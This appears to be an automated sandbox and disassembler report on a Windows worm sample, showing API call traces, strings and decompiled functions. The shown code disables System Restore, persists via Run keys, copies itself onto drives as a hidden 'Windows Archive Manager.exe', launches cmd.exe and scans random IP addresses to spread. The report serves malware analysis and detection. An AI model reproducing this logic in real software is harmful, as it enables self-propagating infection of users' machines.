Sleep.KERNEL32(000001F4), ref: 0040695E
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\,00000000,000F003F,?), ref: 0040697C
RegQueryValueExW.KERNEL32(?,DisableSR,00000000,?,00000000,00000000), ref: 0040699E
RegSetValueExW.KERNEL32(?,DisableSR,00000000,00000004,?,00000004), ref: 004069CB
RegCloseKey.ADVAPI32(?), ref: 004069D7
Sleep.KERNEL32(000001F4), ref: 004069E2
CreateThread.KERNEL32(00000000,00000000,004041B2,00000000,00000000,00000000), ref: 004069F7
Sleep.KERNEL32(000001F4), ref: 00406A02
CreateThread.KERNEL32(00000000,00000000,00402689,00000000,00000000,00000000), ref: 00406A17
Sleep.KERNEL32(000001F4), ref: 00406A22
CreateThread.KERNEL32(00000000,00000000,004054CE,00000000,00000000,00000000), ref: 00406A37
Sleep.KERNEL32(000001F4), ref: 00406A42

Part of subcall function 00403527: memset.MSVCRT ref: 0040353E
Part of subcall function 00403527: memset.MSVCRT ref: 00403554
Part of subcall function 00403527: ExpandEnvironmentStringsW.KERNEL32(%appdata%,?,00000208), ref: 0040356D
Part of subcall function 00403527: _snwprintf.MSVCRT ref: 0040358B
Part of subcall function 00403527: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004035A9
Part of subcall function 00403527: GetLastError.KERNEL32 ref: 004035BE
Part of subcall function 00403527: CloseHandle.KERNEL32(000000FF), ref: 004035D5

Sleep.KERNEL32(000001F4), ref: 00406A59
CreateThread.KERNEL32(00000000,00000000,0040599A,00000000,00000000,00000000), ref: 00406A6E
Sleep.KERNEL32(000001F4), ref: 00406A79
Sleep.KERNEL32(000001F4), ref: 00406AA3

Part of subcall function 0040324B: memset.MSVCRT ref: 00403262
Part of subcall function 0040324B: _snprintf.MSVCRT ref: 0040327E
Part of subcall function 0040324B: InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000000,00000000,00000000,00000000), ref: 00403293
Part of subcall function 0040324B: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 004032BD
Part of subcall function 0040324B: InternetCloseHandle.WININET(?), ref: 004032C9
Part of subcall function 0040324B: InternetCloseHandle.WININET(00000000), ref: 004032D5

Sleep.KERNEL32(000001F4), ref: 00406AC3
Sleep.KERNEL32(000001F4), ref: 00406ACE
Sleep.KERNEL32(000001F4), ref: 00406AFC
memset.MSVCRT ref: 00406B10
_snprintf.MSVCRT ref: 00406B36
Sleep.KERNEL32(000001F4), ref: 00406B66
memset.MSVCRT ref: 00406B7A
_snprintf.MSVCRT ref: 00406BA7

Part of subcall function 00402BE5: InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000001,00000000,00000000,00000000), ref: 00402BFB
Part of subcall function 00402BE5: InternetOpenUrlA.WININET(00000000,00406BBB,00000000,00000000,00000000,00000000), ref: 00402C1C
Part of subcall function 00402BE5: PathFindFileNameA.SHLWAPI(00406BBB), ref: 00402C32
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402CB9
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402D33
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402DAD
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402E27
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402EB0
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00402EB9
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00402EC2
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00403238
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00403241

CreateThread.KERNEL32(00000000,00000000,0040436A,?,00000000,00000000), ref: 00406BD7
rand.MSVCRT ref: 00406BE7
Sleep.KERNEL32 ref: 00406BFE

Strings

%ls\%ls, xrefs: 0040624B
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\, xrefs: 004063B7
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00406462
%ls\T-495050303005030, xrefs: 00406224
%ls:*:Enabled:%s, xrefs: 004062D3

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: Sleep$Value$Close$OpenQuery$Internet$Creatememset$FileHandle$HttpInfoThread$_snwprintf$Path_snprintf$AttributesEnvironmentExistsExpandProcessStrings$CopyDirectoryErrorExecuteExitFindLastNameShellrand
String ID: %ls:*:Enabled:%s$%ls\%ls$%ls\T-495050303005030$SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\
API String ID: 3574863816-1008266862
Opcode ID: e2bf00fcc5341da4f1c6f11025b63b087f3344772514789685b02d5199211525
Instruction ID: cc24a22daa74793900bfe8fe9ad6ad07151e187a64eaf83c41e9561dc631d106
Opcode Fuzzy Hash: e2bf00fcc5341da4f1c6f11025b63b087f3344772514789685b02d5199211525
Instruction Fuzzy Hash: FC81D775D483289ADB20DB54CC45BDAB3B8FB08704F4041EAF60DA6691EB74ABC48F55

Uniqueness

Uniqueness Score: 100.00%

Function 0040599A, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 90
filethreadUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E0040599A() {
				short _v524;
				WCHAR* _v528;
				short _v1052;
				short _v1260;
				int _t32;
				int _t37;
				int _t38;
				void* _t42;
				void* _t43;

				memset( &_v1260, 0, 0xd0);
				memset( &_v524, 0, 0x208);
				memset( &_v1052, 0, 0x208);
				memset("C:\Users\LUKETA~1\AppData\Local\Temp\Windows Archive Manager.exe", 0, 0x208);
				GetModuleFileNameW(0,  &_v524, 0x208);
				ExpandEnvironmentStringsW(L"%temp%",  &_v1052, 0x208);
				GetLogicalDriveStringsW(0xd0,  &_v1260); // executed
				srand(GetTickCount());
				_push( &_v1052);
				_push(L"%ls\\Windows Archive Manager.exe");
				_push(0x208);
				_push("C:\Users\LUKETA~1\AppData\Local\Temp\Windows Archive Manager.exe");
				L00401030();
				_t32 = CopyFileW( &_v524, "C:\Users\LUKETA~1\AppData\Local\Temp\Windows Archive Manager.exe", 0); // executed
				if(_t32 == 0) {
					L9:
					ExitThread(0);
				} else {
					SetFileAttributesW("C:\Users\LUKETA~1\AppData\Local\Temp\Windows Archive Manager.exe", 0x80); // executed
					_v528 =  &_v1260;
					while(( *_v528 & 0x0000ffff) != 0) {
						_t37 = GetDriveTypeW(_v528); // executed
						if(_t37 == 3) {
							L6:
							_t38 = SetCurrentDirectoryW(_v528); // executed
							if(_t38 == 1) {
								E0040565A(); // executed
							}
							L8:
							_v528 =  &(_v528[4]);
							continue;
						}
						_t42 = 4;
						if(_t42 != 0) {
							goto L6;
						}
						_t43 = 2;
						if(_t43 == 0) {
							goto L8;
						}
						goto L6;
					}
					goto L9;
				}
			}

0x004059b1
0x004059c7
0x004059dd
0x004059f1
0x00405a07
0x00405a1e
0x00405a30
0x00405a3d
0x00405a49
0x00405a4a
0x00405a4f
0x00405a54
0x00405a59
0x00405a6f
0x00405a77
0x00405ae8
0x00405aea
0x00405a79
0x00405a83
0x00405a8f
0x00405a95
0x00405aa8
0x00405ab1
0x00405ac1
0x00405ac7
0x00405ad0
0x00405ad2
0x00405ad2
0x00405ad7
0x00405ae0
0x00000000
0x00405ae0
0x00405ab5
0x00405ab8
0x00000000
0x00000000
0x00405abc
0x00405abf
0x00000000
0x00000000
0x00000000
0x00405abf
0x00000000
0x00405a95

APIs

memset.MSVCRT ref: 004059B1
memset.MSVCRT ref: 004059C7
memset.MSVCRT ref: 004059DD
memset.MSVCRT ref: 004059F1
GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 00405A07
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000208), ref: 00405A1E
GetLogicalDriveStringsW.KERNEL32(000000D0,?), ref: 00405A30
GetTickCount.KERNEL32 ref: 00405A36
srand.MSVCRT ref: 00405A3D
_snwprintf.MSVCRT ref: 00405A59
CopyFileW.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\Windows Archive Manager.exe,00000000), ref: 00405A6F
SetFileAttributesW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\Windows Archive Manager.exe,00000080), ref: 00405A83
GetDriveTypeW.KERNEL32(?), ref: 00405AA8
SetCurrentDirectoryW.KERNEL32(?), ref: 00405AC7

Part of subcall function 0040565A: memset.MSVCRT ref: 00405675
Part of subcall function 0040565A: memset.MSVCRT ref: 0040568B
Part of subcall function 0040565A: FindFirstFileW.KERNEL32(*.*,?), ref: 0040569F
Part of subcall function 0040565A: SetCurrentDirectoryW.KERNEL32(?), ref: 004056E0
Part of subcall function 0040565A: SetCurrentDirectoryW.KERNEL32(00408834), ref: 004056F5
Part of subcall function 0040565A: GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00405717
Part of subcall function 0040565A: CharLowerW.USER32(?), ref: 004057B1
Part of subcall function 0040565A: Sleep.KERNEL32(000003E8), ref: 004057E6
Part of subcall function 0040565A: Sleep.KERNEL32(000003E8), ref: 00405826
Part of subcall function 0040565A: Sleep.KERNEL32(000003E8), ref: 00405866
Part of subcall function 0040565A: Sleep.KERNEL32(000003E8), ref: 004058A6
Part of subcall function 0040565A: PathFindFileNameW.SHLWAPI(?), ref: 004058F5
Part of subcall function 0040565A: SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040592B
Part of subcall function 0040565A: DeleteFileW.KERNEL32(00000000), ref: 00405937
Part of subcall function 0040565A: Sleep.KERNEL32(000001F4), ref: 00405942
Part of subcall function 0040565A: CopyFileW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\Windows Archive Manager.exe,?,00000000), ref: 00405956
Part of subcall function 0040565A: Sleep.KERNEL32(00000064), ref: 0040595E
Part of subcall function 0040565A: Sleep.KERNEL32(00000064), ref: 0040596B
Part of subcall function 0040565A: FindNextFileW.KERNEL32(000000FF,?), ref: 0040597E
Part of subcall function 0040565A: FindClose.KERNEL32(000000FF), ref: 00405992

ExitThread.KERNEL32 ref: 00405AEA

Strings

C:\Users\user~1\AppData\Local\Temp\Windows Archive Manager.exe, xrefs: 004059EC, 00405A54, 00405A63, 00405A7E
%temp%, xrefs: 00405A19
%ls\Windows Archive Manager.exe, xrefs: 00405A4A

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: File$Sleep$memset$Find$CurrentDirectoryName$AttributesCopyDrivePathStrings$CharCloseCountDeleteEnvironmentExitExpandFirstFullLogicalLowerModuleNextThreadTickType_snwprintfsrand
String ID: %ls\Windows Archive Manager.exe$%temp%$C:\Users\user~1\AppData\Local\Temp\Windows Archive Manager.exe
API String ID: 1841508737-873681675
Opcode ID: 3e3fcb4d1abe8f971937288444d49571873747b1e3d010ac5399f0707b4bf298
Instruction ID: 384b222016e82c51685bef263c36a0e67f7bc684dccb62e7df86f1299906c7ad
Opcode Fuzzy Hash: 3e3fcb4d1abe8f971937288444d49571873747b1e3d010ac5399f0707b4bf298
Instruction Fuzzy Hash: 96317771E8030567EB60AB509C4AF9B3778DB10701F1042B6F759F51D2EA78AA948F3D

Uniqueness

Uniqueness Score: 100.00%

Function 004041B2, Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 119
sleepUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E004041B2() {
				WCHAR* _v8;
				short _v220;
				short _v748;
				struct _IO_FILE* _v752;
				long _t26;
				int _t36;
				int _t37;
				int _t52;
				long _t57;
				void* _t60;
				void* _t62;
				void* _t63;

				memset(L"C:\\Windows\\T-495050303005030", 0, 0x208);
				_t63 = _t62 + 0xc;
				_t26 = GetModuleFileNameW(0, L"C:\\Windows\\T-495050303005030", 0x208);
				Sleep(0x1f4); // executed
				_push(L"rb");
				_push(L"C:\\Windows\\T-495050303005030"); // executed
				L00401042(); // executed
				_pop(_t60);
				_v752 = _t26;
				if(_v752 != 0) {
					fseek(_v752, 0, 2); // executed
					_t63 = _t63 + 0xc;
					_t57 = ftell(_v752); // executed
					 *0x40a9c0 = _t57;
					fclose(_v752);
					_pop(_t60);
				}
				Sleep(0x1f4); // executed
				while(1) {
					memset( &_v220, 0, 0xd0);
					memset( &_v748, 0, 0x20a);
					_t63 = _t63 + 0x18;
					GetLogicalDriveStringsW(0xd0,  &_v220); // executed
					_v8 =  &_v220;
					while(( *_v8 & 0x0000ffff) != 0) {
						_t36 = GetDriveTypeW(_v8); // executed
						if(_t36 == 2 && ( *_v8 & 0x0000ffff | 0x00000020) != 0x61 && ( *_v8 & 0x0000ffff | 0x00000020) != 0x62) {
							SetErrorMode(1);
							_t52 = GetVolumeInformationW(_v8,  &_v748, 0x105, 0, 0, 0, 0, 0);
							_t70 = _t52;
							if(_t52 == 0) {
								E00403775(_t60, __eflags, _v8, 0x408c30, 0);
								_t63 = _t63 + 0xc;
							} else {
								E00403775(_t60, _t70, _v8,  &_v748, 0);
								_t63 = _t63 + 0xc;
							}
						}
						_t37 = GetDriveTypeW(_v8); // executed
						if(_t37 == 4) {
							_t72 = ( *_v8 & 0x0000ffff | 0x00000020) - 0x63;
							if(( *_v8 & 0x0000ffff | 0x00000020) != 0x63) {
								E00403775(_t60, _t72, _v8, 0x408c34, 1);
								_t63 = _t63 + 0xc;
							}
						}
						_v8 =  &(_v8[4]);
					}
					Sleep(0x3e8); // executed
				}
			}

0x004041c7
0x004041cc
0x004041db
0x004041e6
0x004041ec
0x004041f1
0x004041f6
0x004041fc
0x004041fd
0x0040420a
0x00404216
0x0040421b
0x00404224
0x0040422a
0x00404235
0x0040423a
0x0040423a
0x00404240
0x00404246
0x00404254
0x0040426a
0x0040426f
0x0040427e
0x0040428a
0x0040428d
0x0040429e
0x004042a7
0x004042c7
0x004042e6
0x004042ec
0x004042ee
0x00404310
0x00404315
0x004042f0
0x004042fc
0x00404301
0x00404301
0x004042ee
0x0040431b
0x00404324
0x0040432f
0x00404332
0x0040433e
0x00404343
0x00404343
0x00404332
0x0040434c
0x0040434c
0x00404359
0x00404359

APIs

memset.MSVCRT ref: 004041C7
GetModuleFileNameW.KERNEL32(00000000,C:\Windows\T-495050303005030\winsvcs.exe,00000208), ref: 004041DB
Sleep.KERNEL32(000001F4), ref: 004041E6
_wfopen.MSVCRT ref: 004041F6
fseek.MSVCRT ref: 00404216
ftell.MSVCRT ref: 00404224
fclose.MSVCRT ref: 00404235
Sleep.KERNEL32(000001F4), ref: 00404240
memset.MSVCRT ref: 00404254
memset.MSVCRT ref: 0040426A
GetLogicalDriveStringsW.KERNEL32(000000D0,?), ref: 0040427E
GetDriveTypeW.KERNEL32(?), ref: 0040429E
SetErrorMode.KERNEL32(00000001), ref: 004042C7
GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,00000000,00000000,00000000), ref: 004042E6
GetDriveTypeW.KERNEL32(?), ref: 0040431B

Part of subcall function 00403775: GetTickCount.KERNEL32(?,00404343,?,00408C34,00000001), ref: 00403782
Part of subcall function 00403775: srand.MSVCRT ref: 00403789
Part of subcall function 00403775: memset.MSVCRT ref: 0040379D
Part of subcall function 00403775: memset.MSVCRT ref: 004037B3
Part of subcall function 00403775: memset.MSVCRT ref: 004037C9
Part of subcall function 00403775: memset.MSVCRT ref: 004037DF
Part of subcall function 00403775: memset.MSVCRT ref: 004037F5
Part of subcall function 00403775: memset.MSVCRT ref: 0040380B
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00403827
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00403846
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00403862
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 0040387E
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 0040389A
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 004038B6
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 004038C3
Part of subcall function 00403775: _wfopen.MSVCRT ref: 004038D5
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 0040394D
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 0040395A
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 0040396F
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000080), ref: 00403985
Part of subcall function 00403775: DeleteFileW.KERNEL32(?), ref: 00403992
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 004039EE
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000005), ref: 004039FD
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 00403A08
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 00403A15
Part of subcall function 00403775: CreateDirectoryW.KERNEL32(?,00000000), ref: 00403A28
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000007), ref: 00403A3B
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 00403A46
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 00403A53
Part of subcall function 00403775: CopyFileW.KERNEL32(C:\Windows\T-495050303005030\winsvcs.exe,?,00000000), ref: 00403A6B
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000007), ref: 00403A7A
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 00403A85
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 00403A92
Part of subcall function 00403775: _wfopen.MSVCRT ref: 00403AA8
Part of subcall function 00403775: fprintf.MSVCRT ref: 00403AC9
Part of subcall function 00403775: fclose.MSVCRT ref: 00403AD6
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000007), ref: 00403AE5
Part of subcall function 00403775: Sleep.KERNEL32(000001F4), ref: 00403AF0
Part of subcall function 00403775: FindFirstFileW.KERNEL32(?,?), ref: 00403B04
Part of subcall function 00403775: memset.MSVCRT ref: 00403CE5
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00403D08
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000080), ref: 00403D1C
Part of subcall function 00403775: DeleteFileW.KERNEL32(?), ref: 00403D29
Part of subcall function 00403775: Sleep.KERNEL32(00000064), ref: 00403D31
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 00403D3E
Part of subcall function 00403775: memset.MSVCRT ref: 00403FEC
Part of subcall function 00403775: memset.MSVCRT ref: 00404002
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00404025
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00404048
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000080), ref: 0040405C
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 00404069
Part of subcall function 00403775: PathFileExistsW.SHLWAPI(?), ref: 0040407E
Part of subcall function 00403775: GetFileAttributesW.KERNEL32(?), ref: 00404093
Part of subcall function 00403775: memset.MSVCRT ref: 004040DE
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 004040FE
Part of subcall function 00403775: ShellExecuteW.SHELL32(00000000,00000000,cmd.exe,?,00000000,00000000), ref: 0040411A
Part of subcall function 00403775: DeleteFileW.KERNEL32(?), ref: 00404129
Part of subcall function 00403775: memset.MSVCRT ref: 0040413D
Part of subcall function 00403775: _snwprintf.MSVCRT ref: 00404164
Part of subcall function 00403775: ShellExecuteW.SHELL32(00000000,00000000,cmd.exe,?,00000000,00000000), ref: 00404180
Part of subcall function 00403775: FindNextFileW.KERNEL32(?,?), ref: 00404193
Part of subcall function 00403775: FindClose.KERNEL32(?), ref: 004041A7

Part of subcall function 00403775: fseek.MSVCRT ref: 004038F5
Part of subcall function 00403775: ftell.MSVCRT ref: 00403903
Part of subcall function 00403775: fclose.MSVCRT ref: 00403915
Part of subcall function 00403775: SetFileAttributesW.KERNEL32(?,00000080), ref: 00403935
Part of subcall function 00403775: DeleteFileW.KERNEL32(?), ref: 00403942

Sleep.KERNEL32(000003E8), ref: 00404359

Strings

C:\Windows\T-495050303005030\winsvcs.exe, xrefs: 004041C2, 004041D4, 004041F1

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: File$memset$Sleep_snwprintf$Attributes$ExistsPath$Delete$DriveFind_wfopenfclose$ExecuteShellTypefseekftell$CloseCopyCountCreateDirectoryErrorFirstInformationLogicalModeModuleNameNextStringsTickVolumefprintfsrand
String ID: C:\Windows\T-495050303005030\winsvcs.exe
API String ID: 2844494160-2387652521
Opcode ID: 1a5ffbadaf1d5fe0213e3e89de4061d193a451372897071ad0ea5899867ab0d2
Instruction ID: a71b6a33e762114b54e5903e31fe9bd96b8b9425c847d99bc1a6b51d732d795a
Opcode Fuzzy Hash: 1a5ffbadaf1d5fe0213e3e89de4061d193a451372897071ad0ea5899867ab0d2
Instruction Fuzzy Hash: 1F4194B1E84208BBEB20AB90DD4BF9D7774AB41701F2001B6F604F51E1DA785E949B1E

Uniqueness

Uniqueness Score: 100.00%

Function 00412C58, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 187librarymemoryloaderUNIQUE

APIs

GetCPInfoExW.KERNEL32(00000000,00000000,?), ref: 00412CA7
SetConsoleOutputCP.KERNEL32(00000000), ref: 00412D06
GetModuleHandleA.KERNEL32(00419534), ref: 00412D1A
GetProcAddress.KERNEL32(00000000,VirtualAlloc), ref: 00412D4F
VirtualAlloc.KERNEL32(00000000,00001000,00000040), ref: 00412D68
GetLastError.KERNEL32 ref: 00412D90
FindAtomA.KERNEL32(00000000), ref: 00412D97
GetCPInfoExW.KERNEL32(00000000,00000000,?), ref: 00412E3A
CompareStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412E46
WriteProfileSectionW.KERNEL32(004195B8,00419548), ref: 00412E85
ReportEventW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412E94

Strings

x4$, xrefs: 00412E55
VirtualAlloc, xrefs: 00412D20
{, xrefs: 00412E2B
I]>, xrefs: 00412D6C

Memory Dump Source

Source File: 00000002.00000001.323323334.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_40d000_winsvcs.jbxd

Similarity

API ID: Info$AddressAllocAtomCompareConsoleErrorEventFindHandleLastModuleOutputProcProfileReportSectionStringVirtualWrite
String ID: I]>$VirtualAlloc$x4$${
API String ID: 310522553-3448950543
Opcode ID: 667cb0bd296434aa0315061e7706b63968df125862c6e0eafe9ea82915469c61
Instruction ID: 6ec448516a2d2fec8c00abfb1502e9317c87781a397aa1ef5050f791d042e295
Opcode Fuzzy Hash: 667cb0bd296434aa0315061e7706b63968df125862c6e0eafe9ea82915469c61
Instruction Fuzzy Hash: 1961C7B1908380AEE311DB64EC45BEA7BA9EB44704F00843EF555C71E1D7B94985CB6E

Uniqueness

Uniqueness Score: 100.00%

Function 00402689, Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 77
sleepthreadUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E00402689() {
				void _v56;
				signed int _t26;
				signed int _t28;
				signed int _t30;
				signed int _t32;
				void* _t63;

				srand(GetTickCount());
				L1:
				memset( &_v56, 0, 0x32);
				_t26 = rand();
				asm("cdq");
				_t28 = rand();
				asm("cdq");
				_t30 = rand();
				asm("cdq");
				_t32 = rand();
				asm("cdq");
				sprintf( &_v56, "%d.%d.%d.%d", _t32 % 0xb4 + 0x1e, _t30 % 0xff + 1, _t28 % 0xff + 1, _t26 % 0xff + 1);
				_t63 = _t63 + 0x24;
				if(E00401012( &_v56, "127.") == 0 && E00401012( &_v56, "172.") == 0 && E00401012( &_v56, "192.") == 0) {
					CreateThread(0, 0, E00402501,  &_v56, 0, 0); // executed
				}
				Sleep(0x19); // executed
				goto L1;
			}

0x00402696
0x0040269c
0x004026a4
0x004026ac
0x004026b1
0x004026bb
0x004026c0
0x004026ca
0x004026cf
0x004026d9
0x004026de
0x004026f3
0x004026f8
0x0040270d
0x00402748
0x00402748
0x00402750
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040268F
srand.MSVCRT ref: 00402696
memset.MSVCRT ref: 004026A4
rand.MSVCRT ref: 004026AC
rand.MSVCRT ref: 004026BB
rand.MSVCRT ref: 004026CA
rand.MSVCRT ref: 004026D9
sprintf.MSVCRT ref: 004026F3

Part of subcall function 00401012: strstr.MSVCRT ref: 0040101B

CreateThread.KERNEL32(00000000,00000000,Function_00002501,?,00000000,00000000), ref: 00402748
Sleep.KERNEL32(00000019), ref: 00402750

Strings

192., xrefs: 00402723
172., xrefs: 0040270F
127., xrefs: 004026FB
%d.%d.%d.%d, xrefs: 004026EA

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: rand$CountCreateSleepThreadTickmemsetsprintfsrandstrstr
String ID: %d.%d.%d.%d$127.$172.$192.
API String ID: 907652839-4054544116
Opcode ID: ab01095f8a814831c6552b0cc2a2a5d26331eb1e04f286a7b96353281bc16266
Instruction ID: 1f696caabd4741f4f8f61954be6c2051453dfb1bc9da6a81bcc70d7fbdc66730
Opcode Fuzzy Hash: ab01095f8a814831c6552b0cc2a2a5d26331eb1e04f286a7b96353281bc16266
Instruction Fuzzy Hash: B7110871A843457AE614B2A1DE4BF7A326E8B84708F20043FB241F24D1EEBC9A40153E

Uniqueness

Uniqueness Score: 100.00%

Function 00401084, Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t23;
				intOrPtr* _t24;
				void* _t27;
				void _t29;
				intOrPtr _t36;
				signed int _t38;
				int _t39;
				intOrPtr* _t40;
				intOrPtr _t41;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t48;
				intOrPtr* _t54;
				intOrPtr _t57;
				intOrPtr _t60;

				_push(0xffffffff);
				_push(0x407220);
				_push(0x401210);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t57;
				_v28 = _t57 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x40ae68 =  *0x40ae68 | 0xffffffff;
				 *0x40ae6c =  *0x40ae6c | 0xffffffff;
				_t23 = __p__fmode();
				_t45 =  *0x40a9bc; // 0x0
				 *_t23 = _t45;
				_t24 = __p__commode();
				_t46 =  *0x40a9b8; // 0x0
				 *_t24 = _t46;
				 *0x40ae70 = _adjust_fdiv;
				_t27 = E00401203( *_adjust_fdiv);
				_t60 =  *0x40a010; // 0x1
				if(_t60 == 0) {
					__setusermatherr(E00401200);
				}
				E004011EE(_t27);
				_push(0x40a00c);
				_push(0x40a008);
				L004011E8();
				_t29 =  *0x40a9b4; // 0x0
				_v112 = _t29;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x40a9b0,  &_v112);
				_push(0x40a004);
				_push(0x40a000);
				L004011E8();
				_t54 =  *_acmdln;
				_v120 = _t54;
				if( *_t54 != 0x22) {
					while( *_t54 > 0x20) {
						_t54 = _t54 + 1;
						_v120 = _t54;
					}
				} else {
					do {
						_t54 = _t54 + 1;
						_v120 = _t54;
						_t41 =  *_t54;
					} while (_t41 != 0 && _t41 != 0x22);
					if( *_t54 == 0x22) {
						L6:
						_t54 = _t54 + 1;
						_v120 = _t54;
					}
				}
				_t36 =  *_t54;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t54);
				_push(0);
				_t39 = GetModuleHandleA(0);
				_push(_t39); // executed
				E00405AF4(); // executed
				_v108 = _t39;
				exit(_t39);
				_t40 = _v24;
				_t48 =  *((intOrPtr*)( *_t40));
				_v124 = _t48;
				_push(_t40);
				_push(_t48);
				L004011E2();
				return _t40;
			}

APIs

__set_app_type.MSVCRT ref: 004010B1
__p__fmode.MSVCRT ref: 004010C6
__p__commode.MSVCRT ref: 004010D4
__setusermatherr.MSVCRT ref: 00401100

Part of subcall function 004011EE: _controlfp.MSVCRT ref: 004011F8

_initterm.MSVCRT ref: 00401116
__getmainargs.MSVCRT ref: 00401139
_initterm.MSVCRT ref: 00401149
GetStartupInfoA.KERNEL32(?), ref: 00401188
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004011AC

Part of subcall function 00405AF4: Sleep.KERNEL32(000003E8,?,?,?,004011B8,00000000,?,0000000A), ref: 00405B08
